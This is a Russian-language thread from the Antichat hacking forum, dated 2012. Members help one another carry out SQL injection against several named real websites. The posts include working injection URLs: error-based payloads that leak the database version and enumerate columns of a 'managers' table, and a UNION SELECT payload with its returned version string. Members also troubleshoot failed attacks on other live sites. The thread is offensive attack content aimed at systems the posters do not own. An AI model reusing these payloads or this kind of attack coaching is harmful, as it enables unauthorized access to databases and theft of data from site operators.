HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 16.08.2012, 02:53
Nightfall
Новичок
Регистрация: 14.08.2012
Сообщений: 3
С нами: 7234166

Репутация: 0
По умолчанию

но order by же должен работать?
 
Ответить с цитированием

  #2  
Старый 16.08.2012, 03:22
OxoTnik
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами: 7854806

Репутация: 173


По умолчанию

Цитата:
Сообщение от Nightfall  
Здравствуйте, подскажите, пожалуйста, что делать, если order by никогда не выдает ошибку?
Например, здесь: http://dynatone.ru/products.php?brand=Flight&group=911'
Цитата:
Сообщение от None  
http://dynatone.ru/products.php?brand=Flight&group=911'or(select*from (select(name_const(version(),1)),name_const(versio n(),1))a)and(1)='1


'5.1.61'
 
Ответить с цитированием

  #3  
Старый 16.08.2012, 05:15
cat1vo
Новичок
Регистрация: 12.08.2009
Сообщений: 1
С нами: 8814194

Репутация: 0
По умолчанию

Цитата:
Сообщение от OxoTnik  


'5.1.61'

Через name_const не выведешь ничего кроме version()

Вот запрос более рабочий с примером работы с таблицами и колонками.

Цитата:
Сообщение от None  
http://dynatone.ru/products.php?brand=Flight&group=911'or(1)group/**/by(mid((select(column_name)from(information_schema .columns)where(table_schema='dntMainBase'and(table _name='managers'))limit/**/0,1),rand(0)|0,64))having(sum(0)-1)or'1'='1#
 
Ответить с цитированием

  #4  
Старый 16.08.2012, 12:23
Nightfall
Новичок
Регистрация: 14.08.2012
Сообщений: 3
С нами: 7234166

Репутация: 0
По умолчанию

Всем большое спасибо за помощь
 
Ответить с цитированием

  #5  
Старый 16.08.2012, 15:46
InDuStRieS
Постоянный
Регистрация: 15.03.2009
Сообщений: 435
С нами: 9030789

Репутация: 704
По умолчанию

http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2

уязвим параметр id

почему не работает юнион селект?

колонки подбираются,дальше не хочет

версия мускля думаю поэтому и не хочет

там 3 версия?
 
Ответить с цитированием

  #6  
Старый 16.08.2012, 15:49
OxoTnik
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами: 7854806

Репутация: 173


По умолчанию

Цитата:
Сообщение от InDuStRieS  
http://www.rosalcohol.ru/site.php?id=8295&table=bmV3c19nbGF2
уязвим параметр id
почему не работает юнион селект?
колонки подбираются,дальше не хочет
версия мускля поэтому и не хочет
там 3 версия?
Всё отлично работает

Цитата:
Сообщение от None  
http://www.rosalcohol.ru/site.php?id=-8295+union+select+1,2,3,version%28%29,5,6,7&table= bmV3c19nbGF2
4.0.27-log
 
Ответить с цитированием

  #7  
Старый 16.08.2012, 15:50
InDuStRieS
Постоянный
Регистрация: 15.03.2009
Сообщений: 435
С нами: 9030789

Репутация: 704
По умолчанию

Цитата:
Сообщение от OxoTnik  
Всё отлично работает
4.0.27-log
блин точно,забыл минусик поставить...ппц я протупил

спасибо
 
Ответить с цитированием

  #8  
Старый 16.08.2012, 16:22
InDuStRieS
Постоянный
Регистрация: 15.03.2009
Сообщений: 435
С нами: 9030789

Репутация: 704
По умолчанию

http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790

Почему тут не работает?

Не выводит
 
Ответить с цитированием

  #9  
Старый 16.08.2012, 16:32
MaxFast
Постоянный
Регистрация: 12.10.2011
Сообщений: 569
С нами: 7676246

Репутация: 94


По умолчанию

Цитата:
Сообщение от InDuStRieS  
http://www.intim.dn.ua/catalog/vender.php?id=412'+order+by+10&meta_id=1790
Почему тут не работает?
Не выводит
Потому-что это слепая скуля
 
Ответить с цитированием

  #10  
Старый 16.08.2012, 16:33
InDuStRieS
Постоянный
Регистрация: 15.03.2009
Сообщений: 435
С нами: 9030789

Репутация: 704
По умолчанию

Цитата:
Сообщение от MaxFast  
Потому-что это слепая скуля
Вы не правы
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...